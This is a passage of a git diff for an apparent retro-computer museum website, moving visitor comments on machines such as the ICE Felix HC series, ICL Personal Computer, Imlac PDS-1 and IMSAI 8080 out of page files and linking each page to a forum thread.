from the year 2003 - that may be true regarding RISC, however new technologies, such as pipelining and integrated instruction cache have made RISC obsolete for general computing applications.' - - author: Grady Owens (Socorro, NM, USA) - date: Thursday 15th January 2009 - text: |- - I was given an IBM RT/135 last year when a business firm was cleaning house$ unfortunately, they had lost both keyboard and mouse, meaning it would not boot (this machine cannot boot without a specific signal from the keyboard). After several months, a keyboard turned up, so I obtained it. Further unfortunate circumstances made themselves apparent upon booting - the firm had password-protected the system and completely forgotten about it. In order to solve this problem, I ended up making contact with several individuals on the original development team and a few other computer gurus who''ve had experience with this particular brand of machine. I now have full access, and the machine functions perfectly. - - I absolutely adore this system$ for the time it was released it was a decently-impressive unit, and this one in particular is one of the best performance-wise IBM ever released. In addition, the firm sprung for the ultra-huge 5081-12 color monitor, for which I have been able to obtain an original copy of the maintenance manual. The engineering that went into this system was amazing, and it certainly shaped the computer market into what it is today by introducing both the RISC architecture and the original Model M keyboard layout. Truly a marvelous piece of computer history. - - author: Marcus (Earth) - date: Saturday 19th August 2006 - text: good!, I had one almost the same spec but I didn't have the pc processor, so I used the emulator program. It was my first 'pc', I used it for word processing - using 'e' and IBM internal email via a dial up link from home. Ran out of floor space, so come the millenium I junked it, gave the 5080 to a friend. BTW the big external disk was rare, but it was a 9336. - - author: Scott Wentzka (Minneapoils, MN (USA)) - date: Friday 27th June 2003 - text: 'From the description: "Nowadays, RISC processors are quite no more used in desktop computers\[...\]". Well, the PowerPC chip used in all modern Macintoshes is a RISC chip, and the PowerPC can trace its lineage to the ROMP chip in the RT.' oc_id: 867 source: url: https://web.archive.org/web/20230609145511/http://www.old-computers.com/museum/computer.asp?c=867 diff --git a/content/museum/ibp-190.md b/content/museum/ibp-190.md index e744bad6..4881091d 100644 --- a/content/museum/ibp-190.md +++ b/content/museum/ibp-190.md @@ -52,13 +52,7 @@ params: value: Built-in power supply unit - label: PRICE value: Unknown - comments: - - author: stephan (Germany) - date: Tuesday 17th August 2010 - text: |- - Hello,\ - I have a 190 with 68020 at 8Mhz,2Mb Ram\ - It still work to Desktop no more. + forum_thread: 770 oc_id: 789 source: url: https://web.archive.org/web/20221207135249/http://www.old-computers.com/museum/computer.asp?c=789 diff --git a/content/museum/ice-felix-felix-pc.md b/content/museum/ice-felix-felix-pc.md index 41c82d6a..746ac4d5 100644 --- a/content/museum/ice-felix-felix-pc.md +++ b/content/museum/ice-felix-felix-pc.md @@ -66,18 +66,12 @@ params: value: 150000 LEI in 1988 tabs: - photos + forum_thread: 994 photos: - title: PC CARDS subtitle: '' text: Poor picture of the PC cards from a ICE-Felix brochure. image: /media/museum/photos/icefelix_pc_inside_s1.jpg - comments: - - author: Marius (Romania) - date: Saturday 1st October 2011 - text: The price was in a different year - in that year a Dacia (romanian car) price was around 1.000.000 (one million lei) - - author: Radu - date: Tuesday 26th October 2010 - text: the price is odd... 150''000 lei? that''s twice as much as the national car Dacia (an Renault 12 clone), which was priced 70''000 lei! oc_id: 1020 source: url: https://web.archive.org/web/20230510155753/http://www.old-computers.com/museum/computer.asp?c=1020 diff --git a/content/museum/ice-felix-hc-2000.md b/content/museum/ice-felix-hc-2000.md index 95e5385f..7b2c3641 100644 --- a/content/museum/ice-felix-hc-2000.md +++ b/content/museum/ice-felix-hc-2000.md @@ -66,6 +66,7 @@ params: - connectors - links - docs + forum_thread: 890 photos: - title: HC-2000 subtitle: '' @@ -210,53 +211,6 @@ params:  type of document : PDF\  size : 3 MB\  source : [george.chirtoaca.googlepages.com](http://george.chirtoaca.googlepages.com/) - comments: - - author: Rares (Brasov Romania) - date: Wednesday 15th January 2020 - text: |- - Cineva sa corecteze:\ - Someone to correct: - - in CPM mode : 64x24 characters - - author: constantin negut (Bucharest) - date: Saturday 21st January 2017 - text: |- - Pentru Stefan Marianescu :\ - 1\. De ce nu folositi limba romana.?\ - 2.PC 386 a fost realizat in 1993 s-au facut si citeva zeci de bucati.Nu a fost o serie de fabricatie mare datorita lipse linii asamblare componente SMD.Am avut o linie semiautomata in care asamblarea pick and place se facea manual, componenta cu componenta iar echiparea unei placi de baza lua citeva zile.\ - 3.Nu faceti asemenea afirmatii , chiar daca este dreptul dumneacoastra democratic, fara a va informa despre subiect. - - author: Catalin Marica (Pitesti / Romania) - date: Sunday 14th June 2015 - text: Vand calculator HC 2000 in stare de functionare. Pret 1000 lei tel 0752273098 - - author: George Chirtoaca (Romania) - date: Friday 31st October 2008 - text: 'A 386 based computer was manufactured by I.C.E. Felix, named HC-386. Some pictures here: http://george.chirtoaca.googlepages.com/pictures .' - - author: Stefan Marinescu (Romania) - date: Saturday 16th August 2008 - text: i really have serious doubts that there was a machine with a 386sx in any romanian computer, let alone the HC series - - author: gheorghe mihai (calarasi) - date: Monday 11th December 2006 - text: |- - salutare\ - se mai pot gasi hc2000 de vanzare\ - pe forum.computergames.ro\ - din pacate e batalie mare pe ele - - author: Szabi_O. (ROMANIA) - date: Wednesday 24th May 2006 - text: |- - Caut schemele calculatoarelor din seria HC.\ - Daca le are cineva, l-as ruga sa-mi trimita intr-un eMail.\ - Multumesc anticipat! - - I'm looking for the schematic diagrams of the HC computers.\ - If anyone has something, please send me in a mail.\ - Thanks! - - author: Juniorel (Bucharest) - date: Friday 16th January 2004 - text: |- - Mi-a placut mult sistemul de operare CP/M.\ - S-ar putea azi gasi de cumparat un computer HC2000?\ - 2004-01-16 related: - /museum/ice-felix-hc-85 - /museum/ice-felix-hc-91 diff --git a/content/museum/ice-felix-hc-85.md b/content/museum/ice-felix-hc-85.md index 91bcaa6d..f10cfc92 100644 --- a/content/museum/ice-felix-hc-85.md +++ b/content/museum/ice-felix-hc-85.md @@ -59,6 +59,7 @@ params: - hardware - links - docs + forum_thread: 616 photos: - title: 'EARLY MODEL #1' subtitle: '' @@ -187,24 +188,6 @@ params:  type of document : PDF\  size : 3 MB\  source : [george.chirtoaca.googlepages.com](http://george.chirtoaca.googlepages.com/) - comments: - - author: Anton (Bucharest) - date: Sunday 13rd April 2014 - text: The price was 14.000, that$s mean 1120$ in that times - - author: wolfy (bucharest / romania) - date: Friday 24th August 2012 - text: |- - Actually the best Romanian Spectrum clone was Cobra, the computer designed and built at ITC Brasov. It was able to run both Basic and CP/M and used only cheap integrated circuits which were much easier to be found by enthusiasts who wanted to build their own computer.\ - Actually a whole black market industry existed which reused defective motherboards dumped by the factory and chips imported from DDR or URSS. I am quite proud to say that I assembled a few systems myself... - - author: Ciprian (Bucharest Romania) - date: Thursday 27th August 2009 - text: I''d like to add that the keyboard was really low quality . It had a couple of steel blades that were kept apart when the key was not pressed. When you pressed the key a plastic spacer $ped down and the springs would come together and close the circuit. Well, the blades used to get stuck apart and not touch even if you pressed the key. This used to happen very often. - - author: Ion Tzuica (Chisinou) - date: Wednesday 14th July 2004 - text: 'Between the HC-85 and HC-91 weren''t major aspect differences. But the mainboard is completely different at these two computers. HC-85 had a MMN-80 CPU, eight ROM chips... totally more than 50 chips, more than the HC-91. The performance was the same. The computers from ICE Felix were the best roumanian Spectrum clones. They give no errors, comparative with their rivals, CIP, JET, etc. We can still find HC-85, HC-91, CIP-03 , sometimes JET for sale, at second hand, in Roumania, for a very low price: about 50.000 lei (1,6 USD). CIP-04 and HC-2000 are very rare models. There are a few people who had such wonderful computers, but they will never sell them! After 50..100 years, I think these rare computers (eventually working) will cost ten times their weight in gold!' - - author: Bogdan (Iasi, Romania) - date: Tuesday 10th December 2002 - text: Actually, the image represent a HC-90, a latter model; the first one was even more poor quality in manufacture and had some significant differences in exterior design. However, it was identical with the HC-90, shown here. related: - /museum/ice-felix-hc-2000 - /museum/ice-felix-hc-91 diff --git a/content/museum/ice-felix-hc-91.md b/content/museum/ice-felix-hc-91.md index b53c7aac..eafafbd0 100644 --- a/content/museum/ice-felix-hc-91.md +++ b/content/museum/ice-felix-hc-91.md @@ -61,6 +61,7 @@ params: - hardware - links - docs + forum_thread: 618 photos: - title: 40-KEY VERSION subtitle: '' @@ -226,19 +227,6 @@ params:  type of document : PDF\  size : 3 MB\  source : [george.chirtoaca.googlepages.com](http://george.chirtoaca.googlepages.com/) - comments: - - author: niko - date: Friday 15th April 2016 - text: Al meu inca functzioneaza ::)) - - author: iji (Romania) - date: Wednesday 29th August 2012 - text: My HC-91 had an extended fdd 3.5" extern and came with 2x 720kB floppies - one floppy with CP/M and one floppy with games. - - author: mihai p (ro) - date: Tuesday 27th July 2010 - text: bai baiatu nu abera cu chestii de tipul mesterit acasa ca in afara de intrerupator si portul com e de la mama lui. asa ca lasati lumea sa descopere chestiile vechi de odinioara fara a fi indusa in eroare de timpenii. - - author: Valentin Hristenco (Bucharest, Romania) - date: Sunday 19th June 2005 - text: The jack on the joystick interface is used to plug in an optical pen. related: - /museum/ice-felix-hc-2000 - /museum/ice-felix-hc-85 diff --git a/content/museum/ice-felix-m18-series.md b/content/museum/ice-felix-m18-series.md index 036de5b1..873a486b 100644 --- a/content/museum/ice-felix-m18-series.md +++ b/content/museum/ice-felix-m18-series.md @@ -60,6 +60,7 @@ params: value: Unknown tabs: - photos + forum_thread: 995 photos: - title: MAIN UNIT subtitle: '' @@ -69,24 +70,6 @@ params: subtitle: '' text: This picture seems to come from an ICE Felix brochure. image: /media/museum/photos/icefelix_m18_brochure_s1.jpg - comments: - - author: iulian (bucuresti) - date: Saturday 20th March 2021 - text: I have one and i will sell it on facebook retro tech.ro - - author: Cip Cip - date: Saturday 27th February 2021 - text: I remember having such computers at the work from my grandfather. - - author: Costel Dumitru (Romania) - date: Monday 14th July 2008 - text: |- - There were 2 floppy disks (8") labelled 0 and 1.\ - Not A or B. - - author: js (nowhere) - date: Sunday 22nd July 2007 - text: Wow, what a throwback; card readers/punches, teletypes, tape drives- these were all things they were trying to get rid of at the time. The system looks like something from the '60s! - - author: Manuel Wolfshant (bucharest, romania) - date: Friday 11th November 2005 - text: M118 and late M18 models were using 8" floppy disks too oc_id: 1021 source: url: https://web.archive.org/web/20221127081650/http://www.old-computers.com/museum/computer.asp?c=1021 diff --git a/content/museum/icl-opd-one-per-desk.md b/content/museum/icl-opd-one-per-desk.md index 9d3ce7fe..34c49ca4 100644 --- a/content/museum/icl-opd-one-per-desk.md +++ b/content/museum/icl-opd-one-per-desk.md @@ -70,6 +70,7 @@ params: - software - emulators - links + forum_thread: 285 photos: - title: INSIDE THE OPD subtitle: '' @@ -164,32 +165,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: Sinclair computers - comments: - - author: Paul Nichols (United States) - date: Tuesday 15th February 2022 - text: I am looking to buy a working (or not) OPD or Tonto. Can anyone point me to a source? - - author: Mike (USA) - date: Sunday 10th November 2019 - text: |- - So this listing has a slight bug. It says "The system, as did the QL, had basic task-switching - not real multitasking (background tasks didn''t run)..." I didn''t own an OPD but the QL had a true preemptive multitasking OS (i.e. QDOS) and indeed you could exec(ute) a program and it would keep running in the background while you worked in the foreground and you could have many programs running in the background (it was a cool demo to give). - - Contrast that with the Mac which started with basic task switching and up until OS X moved the Mac to BSD Unix had a kernel that did cooperative multitasking (i.e. the difference is in preemptive the kernel keeps control and slices up time for each program but in cooperative the kernel gives up control to each program and hopes it gets it back). - - author: sarah (USA) - date: Thursday 7th July 2016 - text: I was part of a team evaluating the OPD for ICL before release and we recommended that it not be released until the software worked properly and several ergonomic issues be resolved. The board released it anyway. My personal one burst into flames one day in1988 - - author: QUANTA web master (UK) - date: Wednesday 10th October 2007 - text: |- - I have compiled some useful information on the OPD / Tonto, which can be found on the QUANTA web site. - - QUANTA supports QL and related systems, and I am responsible for maintaining the societies web site. If anyone would like to donate their OPD / Tonto to QUANTA, or would like to support, documentation or advice, please get in touch. - - We can offer a small sum for surplus OPD / Tonto hardware and accessories, which we donate to the Red Cross. We are trying to establish an OPD / Tonto support network, so that enthusiasts can swap software, trade hardware and keep this machine alive. - - We are in the process of scanning in manuals and documentation for the OPD, establishing an OPD software library and list of frequently asked questions (FAQs). FAQs will include : where to obtain OPD software, tips for repairing damaged monitors, suggestions for troubleshooting hardware faults and advice on exchanging files with a PC or Sinclair QL - - author: Ian Chard (UK) - date: Wednesday 1st December 2004 - text: I worked at ICL as a summer student in 1992, and OPDs were still in active use on every department manager's desk. Presumably they didn't know what to do with all the thousands of OPDs they couldn't sell! oc_id: 275 source: url: https://web.archive.org/web/20230406084723/http://www.old-computers.com/museum/computer.asp?c=275 diff --git a/content/museum/icl-personal-computer.md b/content/museum/icl-personal-computer.md index 748abd15..eb15674a 100644 --- a/content/museum/icl-personal-computer.md +++ b/content/museum/icl-personal-computer.md @@ -60,6 +60,7 @@ params: value: From £1,800 tabs: - photos + forum_thread: 735 photos: - title: COMPLETE SYSTEM subtitle: '' @@ -88,43 +89,6 @@ params: subtitle: '' text: The video terminal features a complete computer board including a 8085 processor, ROM an RAM memory, and programmable I/O ports. image: /media/museum/photos/icl_perscomp_insideterm_1.jpg - comments: - - author: Steve Johnson (USA) - date: Wednesday 9th March 2011 - text: I used to work as a test engineer in the ICL plant in Kidsgrove where these machines were made. I automated the test suite by utilising the 25th line of the screen which you could both write to and read from. This enabled the machine to know where it was up to after a reboot say after formatting the Hard Disc. This greatly reduced the number of manual interventions required to test the machine and earned me an award from the ICL Suggestion Awards Scheme. - - author: Ruben Hillier - date: Monday 6th September 2021 - text: 'I have the icl model 31 but it doesn''''t work I was hoping someone would be able to help. It''''s been in a attic for a long time got it down to try it all iy dose is show ":" on the screen. It did power up once and had some righting then "A: " But froze and touching keyboard did nothing but beep. I put an ms dos fopy in nothing happened.' - - author: Jim Hancock (UK) - date: Wednesday 10th March 2021 - text: In about 1982, I was working in the Magnetic Tape Group, part of “Peripheral Product Engineeringâ€� in ICL Kidsgrove. The department received a “Robbogramâ€�, demanding a £100 terminal for this machine. Robbograms were terse messages from Rob Wilmott, so rather like a command from God! Somehow this requirement ended up with George Fitzgerald, my manager, and it ended up in my lap. I had NO idea about terminals, keyboards, RS232 etc, so it was a steep learning curve. I first played with an ADM3A terminal, a very basic machine, almost a glass teletype, Not really up to the job, and costing well over £200. Fortunately someone in our commercial department contacted Nissei Sangyo, who represented (amongst many other manufacturers) Kokusai Electric, a terminal manufacturer based not far from Tokyo. They were developing a new range of terminals, and we had 3 prototypes, KDS7361, KDS7362 and KDS7363. KDS7362 had the right balance of features, and we validated it using a Rair Black - Box. When ICL wanted to launch the Personal Computer, the tooling wasn’t ready for injection moulded cases, George Fitzgerald and I persuaded Kokusai to make 250 machines with vacuum moulded cases. They weren’t happy, but George could be very persuasive. Real typists found that the 2-key lockout keyboard slowed them down, and some Wordstar issues led to a “release 2â€� product, with n-key rollover keyboard and a specific Wordstar mode which prevented characters disappearing if you typed too fast. I got two (exhausting) trips to Japan out of this project. I remember bringing a release 2 product back as hand luggage, only to find at Heathrow I couldn’t raise the import duty, and had to phone a friend! It was a very successful product, an OEM sales group selling it was formed, and later colour terminals were introduced, but by this time I was back in my comfort zone, introducing 1/4 inch and 1/2 inch cartridge tape drives. Jim Hancock - - author: Stephen Dewey (United Kingdom) - date: Friday 13rd October 2017 - text: The technical authors at BRA01 were very keen on using the game that was started with the command Advent.something to "learn" about the RAIR $) - - author: Murray (New Zealand ) - date: Saturday 25th June 2016 - text: |- - Hello I have a ICL 8120/01 with 6 xtra cards and all the original ICL software,cp/m disks, ICL PC10 ,,,murraykellyjacob@gmail.com\ - Would like to know what the /01 means in 8120/01 ,, - - author: Jon Hales (UK) - date: Sunday 12th October 2014 - text: I have an ICL 8122/05 (Rair Black Box) with 8088 and a 10Mb Rodime Hard Disk, but haven''t tried to switch it on. Having removed all components, I powered on PSU alone which looks OK, but it''s providing only 10.3 volt instead of 12.0 volt. The HD has several labels referring to maintenance replacement of transistors, so under-volting PSU might be deliberate. Any info or software much appreciated. - - author: Ian White (uk) - date: Thursday 7th November 2013 - text: I designed and manufactured the first 3000-4000 power supplies for this machine. The main feature of this power supply was that it was one of the first designs to use the new power MOSFET transistors that switched at high frequency and reduced the size and weight of the power supply. - - author: Peter Roberts (Manchester, England) - date: Sunday 24th February 2013 - text: I have an ICL Personal Computer, Catalogue Serial No - 8120/01, can anyone give me any info on this machine as I''m struggling to find anything about it. - - author: Ian Lever (UK) - date: Tuesday 19th February 2013 - text: |- - I used to write instructions for modifying the ICL PC2 for re-sale as BT machines$ the ICL badges were literally prised off, and lovely new brown BT M22xx badges stuck on in their place! - - I provided final line support within BT for the M2200 series - interfacing with ICL, and found ICL great to work with. - - author: Bill Perry (UK) - date: Thursday 11th October 2007 - text: The PC2 series were also sold on to British Telecom through BT Merlin for them to resell. They were rebadged as the M2200 series. Having the the same numbers at the end as those shown on the first page. e.g. Model 15 =M2215, Model 26 = M2225 etc. oc_id: 752 source: url: https://web.archive.org/web/20230607225818/http://www.old-computers.com/museum/computer.asp?c=752 diff --git a/content/museum/icl-quattro.md b/content/museum/icl-quattro.md index 9d095c8f..2a274090 100644 --- a/content/museum/icl-quattro.md +++ b/content/museum/icl-quattro.md @@ -66,6 +66,7 @@ params: Monochrome terminal: £899 - Colour: £1399 tabs: - photos + forum_thread: 833 photos: - title: INSIDE subtitle: '' @@ -86,36 +87,6 @@ params: subtitle: '' text: '' image: /media/museum/photos/icl_quattro_keyboard_1.jpg - comments: - - author: Andy C - date: Friday 21st March 2014 - text: |- - George, the Disc A Hung wasn''t a hardware fault - it was a race condition in the hard disc controller code. I''ll never forget that bug, it took me 18 months on-and-off to fix the b\*\*\*\*y thing. No matter how hard we worked the system it wouldn''t fail. It turned out you had to work the CPU hard, and the disc hardly at all to make it happen.\ - And the fix was to swap to adjacent sections of code, one 3 lines and one four. - - author: Chris Quinn (Liverpool, UK) - date: Friday 4th January 2013 - text: |- - I worked for the IT department of the UK Home Office. We had quite a few systems running on these machines. The ones I was involved with were for the centres that maintained and repaired radio equipment for the Police and Fire Brigades.\ - I wrote a system using the Dataflex 4GL system to track repairs through the workshops - up to 4 terminals, some in the stores, others in the workshops.\ - I do remember having to write a small assembler program to allow the users to enter the system date in UK format on startup (the clock was not battery backed), as these were really rebadged Rair machines, which expected data entry in US format. - - author: George Morrison (UK) - date: Friday 11th June 2010 - text: |- - I worked for a computer dealer which sold these to run our proprietary accounting software. There was a problem whereby, seemingly at random, the machine would freeze with a "Disk A hung" message (Disk A being the hard disk). ICL eventually acknowledged this as a hardware problem although, by then, our small number of ICL customers had been moved to other systems due to their unreliability. - - Our software was written in MS Basic and I spend two weeks converting it it to CBasic - only for an MS-DOS emulator to appear which ran the MS-DOS versions of our programs substantially faster than the native CBasic ones. - - The OS, Concurrent CP/M, didn''t have tree-structured directories, it had numbered areas on the disk, 0 - 15. - - author: Kevin Townsend (UK) - date: Monday 29th March 2010 - text: |- - In 1986 I was employed by ICL''s agency to produce a series of booklets to demonstrate the multi-user, multi-tasking capabilities of the Quattro. These were deliverd to the ICL stand at a major computer show at the NEC. - - Graphics from these booklets can be seen at http://kevtownsend.wordpress.com/editorial-services/sample-design-work-circa-1986/. You might say that a subsequent software suite logo is remarkably - possibly too remarkably - similar to the Quattro design: I couldn''t possibly comment. - - author: Andy mackay - date: Wednesday 30th April 2008 - text: I remember, around 1992-3, our firm filling a skip full of these and ICL's modular server styley thing, which ran PC-DOS. Anyway I fished a few out of the skip and went to 'The Computer Junk Shop' up in Widness to see if I could get a few bob for them. Now if anyone has ever been to this shop you will know they seem to never be open and when they are they seem to specialise in selling really obsolete worn out stuff. So to cut a long story short I went there on a Friday, cuz that was the day that the chap who bought stuff was there. I got there and this guy wasn't around, and I couldn't convince the guy who was as to what a bargain they were, well I waited about 20 mins for the buyer to arrive, but got fed up and left. As I got outside, some other chap (he was just a customer) accosted me saying that he had over heard my conversation with the shop assistant and had been trying to get my attention for ages. He asked me how many I had which was 2 and gave me £20 each for them, all - in all a nice little earner I which I fished out more especially when you see how much they were new. My company @ the time was a big ICL client and used all ICL hardware IE Mainframe, UNIX stuff, and these modular server things out in the branches, which ran the work stations and sent the ordres up to the Mainframe, and had a limited order capturing capabilties when the Mainframe was down, I think they were called DRS10, DRS20 Etc depending on what modules they had. oc_id: 852 source: url: https://web.archive.org/web/20221209194127/http://www.old-computers.com/museum/computer.asp?c=852 diff --git a/content/museum/imce-junior.md b/content/museum/imce-junior.md index 7f5c2ef7..505b3611 100644 --- a/content/museum/imce-junior.md +++ b/content/museum/imce-junior.md @@ -58,19 +58,7 @@ params: value: Unknown - label: PRICE value: Unknown - comments: - - author: martinot (Sverige) - date: Thursday 23rd July 2020 - text: It is called IMC (not IMCE) Junior, and it was an Apple II+ clone from the Taiwanese company IMC. It came with both a 6502 and a Z80 CPU. IMC got an official license of Apple (after some wrangling by lawyers in court in 1984) for DOS 3.3 and other Apple II system software. For the Z80 it also shipped with an official P/M license. It was released in October 1984 for around $500 and came as a standard with 64KB RAM. - - author: Ricardo Bánffy (Brazil) - date: Wednesday 29th August 2007 - text: |- - This one looks remarkably like the CCE MC5000 PC/XT portable that was sold in Brazil in the late 80s early 90s. - - The keyboard is pretty much PC-ish too. I don't think this is an Apple II compatible despite the "//c inspired" case. This dual Apple II/IBM PC thing seems rather fishy. - - author: Albertus Bredekamp (South Africa) - date: Wednesday 6th June 2007 - text: 'In 1985 my two brothers and I pooled our money and bought a PC compatible computer that looked exactly like the IMCE Junior. It ran at 4.77MHz had 256Kb RAM and a 360 K floppy on the side. Also had CGA grpahics. I have NEVER been able to find exactly who the manufacturer was. I was only 9 years old in 1985 so can''t remember much. I''ll ask my much older brother what he can remember. My guess: It was a taiwanese clone that used the IMCE chassis.I''m in South Africa by the way. Our politics at the time would have made it easier to import from France and the far east than from USA or UK.' + forum_thread: 420 oc_id: 424 source: url: https://web.archive.org/web/20220803190228/http://www.old-computers.com/museum/computer.asp?c=424 diff --git a/content/museum/imlac-pds-1.md b/content/museum/imlac-pds-1.md index 087cf122..0bec0bf6 100644 --- a/content/museum/imlac-pds-1.md +++ b/content/museum/imlac-pds-1.md @@ -65,6 +65,7 @@ params: - software - links - docs + forum_thread: 1260 photos: - title: IMLAC PDS-1D subtitle: '' @@ -93,69 +94,6 @@ params:  source : [history-computer.com](http://history-computer.com) **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: Gary Paresky (Massachusetts/USA) - date: Saturday 23rd April 2011 - text: I used to work at Imlac in Needham, MA back in 1975. I was an electronic assembler/tester and built the CRT monitors and light pens. I remember getting a -1450 volt shock from a defective light pen! We used to make 100 foot cables by pulling the wire bundles through a shrink wrap tube. We used talcum powder to help get the cables pulled through! - - author: David Bakin (USA) - date: Monday 14th October 2019 - text: |- - I used the Harvey Mudd College PDS-1 from 1973-1977 - I was the main user of it as I was on it all the time when I should have been studying math. Wrote, for a professor, a program to allow building pictures of Maya glyphs - dragging them from a menu to a nested grid with the light pen (then printing them for his publications.) - - CPU instruction set was a "stretched" PDP-8 - stretched from 12-bit to 16-bit, a B accumulator added to the A accumulator, and more post- and new pre-indirect-increment addresses. - - "GPU" shared cycles with the CPU - only one or the other ran - and had an instruction set that looked like a "display list". So I wrote an implementation of the brand new SIGGRAPH Core Graphics System for it. - - Got me my first job out of HMC too! Went to work in 1976 for Honeywell Marine Systems Division which was delivering the PDS-1 as the instructor''s console in a multi-computer multi-student Navy sonar training facility. Wrote the program that drove the console - the teacher would set up ships with their speeds and routes and other ocean noises (whales, etc.) - as a scenario for the students to work. - - author: Bob Rasmussen (Maryland, United States) - date: Saturday 3rd June 2017 - text: In 1972 I was assigned to develop a process to proofread text destined for composition on a Photon 713. This was a phototypesetting process that used Friden keyboards producing paper tape from manuscript. The PDS1 system was to be used to proofread text without first running the tape on the Photon 713 projected onto photosensitive film. Our PDS1 system consisted of the display, keyboard, additional keyboard, AB Dick printer with embedded 7" flat faced monitor projecting text to electrostatic paper and paper tape reader/writer. We designed 1,300 unique characters to match shape and spacing of Times Roman medium, italic, bold and bold italic font as well as the 4 faces of the Univers Medium font. The process was a complete success except for the inability of the AB Dick copier to keep the toner solution fully mixed. The system was the equivalent of desktop displays currently available back in ''72. - - author: Stephen J. Kelsey (Salt Lake City, Utah) - date: Monday 6th June 2016 - text: I had a personal Imlac PDS-1 at the University of Utah for the graphics of the fluid mechanics calculations I was doing in the early 70''s. It seemed to work pretty well. Lots of curve drawings using 5th order spline functions, sending stuff to UCLA and getting it back over the Arpanet. Isometric and contour plots. Lots of interesting people were working there then$$Dave Evans, Ivan Sutherland, and Tom Stockham. I was with the Divispon of Artificial Organs with Harvey Greenfield and Dr. Willem Kolff, inventor of the artiificial kidney and a founder of ASAIO. I feel blessed to have been there then. - - author: TCPMeta - date: Tuesday 22nd March 2016 - text: When I was in kindergarten my school used this system for the library. When you would check out a book or return a book the librarian would use the light pen to scan the barcode and scan the screen. To me at the time I thought that was really neat and was envy for the bigger screen since my Apple // had a very small display. - - author: Bill Finley - date: Thursday 3rd January 2013 - text: Founded by a brilliant MIT grad, Jim Cunningham, Imlac was on the cutting edge of graphics in the ''70''s. Interesting sidelight in view of current politics, angel financing was provided by the Koch brothers. I was National Sales Mgr. at that time. - - author: fabio (italy) - date: Thursday 22nd September 2011 - text: |- - I worked as Field Engineer for the Gerber Garment Technology (in 1982) that acquired from Hughes Aircraft the AM1 System which was an Advanced Cad Cam system. They were using the Imlac pds4 ....even if I knew there was some Imlac pds 2 around the old clients... - - The system expanded to the IMLAC PdsII a smaller graphic system (all included in the monitor!) that was a full 64k ram video for 2048x2048 lines in 16 intensity (of green) color... - - Please find here 2 pics of the last time it was shown VCF Italy 2004 in Desenzano del GARDA - - http://www.facebook.com/photo.php?fbid$1422742061403$set$a.1185163042076.29590.1618264378$type$1 (Super condensed system..Imlac II is just the "monitor" ) - - http://www.facebook.com/photo.php?fbid$1289357366869$set$a.1185163042076.29590.1618264378$type$1 (close up image...of a Garment marker) - - (I''m the Secretary..temporary Curator of Mupin a Computer Museum near Torino, Italy)\ - http://www.mupin.altervista.org/ - - Associazione Culturale "Museo Piemontese dell''Informatica - Mupin"\ - Strada Carignano, 48\ - 10024 - Moncalieri (TO)\ - Mobile: +39 348 5930067\ - E-Mail: mupin@altervista.org - - ( yes it''s all in italian now..but we are redoing it.....!And yes i got (few!) Imlacs and schematics too... $-D ) - - Or write me direct at:\ - scuba05@gmail.com ($$$this you can show!) - - Take care! Fabio - - author: Jim Bailey (USA) - date: Saturday 3rd September 2011 - text: I used the Imlac PDS system at the University of Illinois while we were developing the Arpanet, predecessor of the Internet. It had great graphic capabilities for the day and was instrumental in the further development of computer graphics systems. - - author: COXXEH - date: Wednesday 3rd November 2010 - text: The imlac pds 1 was about the size of a desk,with a control panal sitting next to the user input console. Oddly enough it didn''t use a mouse,it used an early form of the light pen. There was also a pds-4 too. - - author: sark (mainframe) - date: Wednesday 1st September 2010 - text: the screen looks kind of like one of the xerox systems. you know, from bell labs. software: - /software/maze-war oc_id: 1295 diff --git a/content/museum/imsai-8048.md b/content/museum/imsai-8048.md index fbc0d1d4..cba15162 100644 --- a/content/museum/imsai-8048.md +++ b/content/museum/imsai-8048.md @@ -54,6 +54,7 @@ params: - photos - adverts - links + forum_thread: 555 photos: - title: 'BOXED VERSION #1' subtitle: '' @@ -99,19 +100,6 @@ params: - title: IMSAI.NET url: http://www.imsai.net/ text: '' - comments: - - author: Shawn (Alaska) - date: Sunday 23rd May 2021 - text: I would like to buy this......18 years later. if you still have it? the IMSAI 8048 - - author: Dominic (Holland) - date: Monday 25th August 2003 - text: Does anyboday have layouts for the s-100 motherboard from a imsai 8080 i want to reprint them. - - author: Squibit (Northenr NJ) - date: Friday 28th March 2003 - text: |- - Is there anyone interested in obtaining an IMSAI\ - 8048 Control Computer-there's one gathering dust\ - in my basement ; make a reasonable offer and it could be yours. oc_id: 564 source: url: https://web.archive.org/web/20230208072021/http://www.old-computers.com/museum/computer.asp?c=564 diff --git a/content/museum/imsai-8080.md b/content/museum/imsai-8080.md index 13b20c24..887cd015 100644 --- a/content/museum/imsai-8080.md +++ b/content/museum/imsai-8080.md @@ -66,6 +66,7 @@ params: - hardware - emulators - links + forum_thread: 388 photos: - title: IMSAI 8080 subtitle: '' @@ -218,35 +219,6 @@ params: - title: www.obsoletecomputermuseum.org url: http://www.obsoletecomputermuseum.org/imsai/ text: nice detailed IMSAI page - comments: - - author: GOplayer (USA) - date: Wednesday 19th September 2018 - text: |- - I was lucky enough to buy the IMSAI 8080C computer at a computer business that had an auction after the owner passed away for $14. ! It works great but I couldn''t bid on the two 8"floppy drives because the $14. was all I had! I begged the auctioneer afterwards for the drives as they didn''t sell, but he wouldn''t relent... My unit needs 3 switch covers(orange/blue) as I accidentally knocked them off... I have them somewhere. The computer is immaculate and works as if new,(love the robustness of older technology electronics). One big TO-3 voltage regulator(5V?) on the back wall on a aluminum 90 degree fin in front of the fan and two big capacitors(electrolytic) in the front in the voltage supply area on the right, walled off by aluminum shield from the S-100 bus slots on the left. The CPU is white w/gold cap. Such a joy to see it operate on the front panel as I load address and data registers(8 bit)using the switches in single step load/review mode. Then I flip then switch for Run and toggle the start switch and watch the digital light show as it computes, branches, adds and moves REAL Binary Data around before I hit the start/stop toggle switch or it reaches a halt in the program. I need to make a digital video of it in action someday. It is still a joy to operate, setup, run and observe the data in red Light Emitting Diodes(LEDs). This was one of the first times we could SEE our data bits and computing in action. - - I was a programmer in the Air Force on 64-bit machines in the early 70''s... COBOL, PL/1, RPG, FORTRAN and assembly. - - This machine is a museum piece that STILLl functions as it was designed. I had a few Timex Sinclair''s as well. Also great inexpensive machines for their day. Clive Sinclair was a mathmatician and it is reflected in the tight byte codes of his BASIC language computers for the masses. They are great as 8/16 bit scientific BASIC computers, not just for gaming, which is fun, and drove the computing industry to where it is today. - - Steve Ingham 9-19-2018 - - author: Lorno (Calgary, Canada) - date: Saturday 12th November 2022 - text: I bought my IMSAI 8080 as a kit back in 1976. 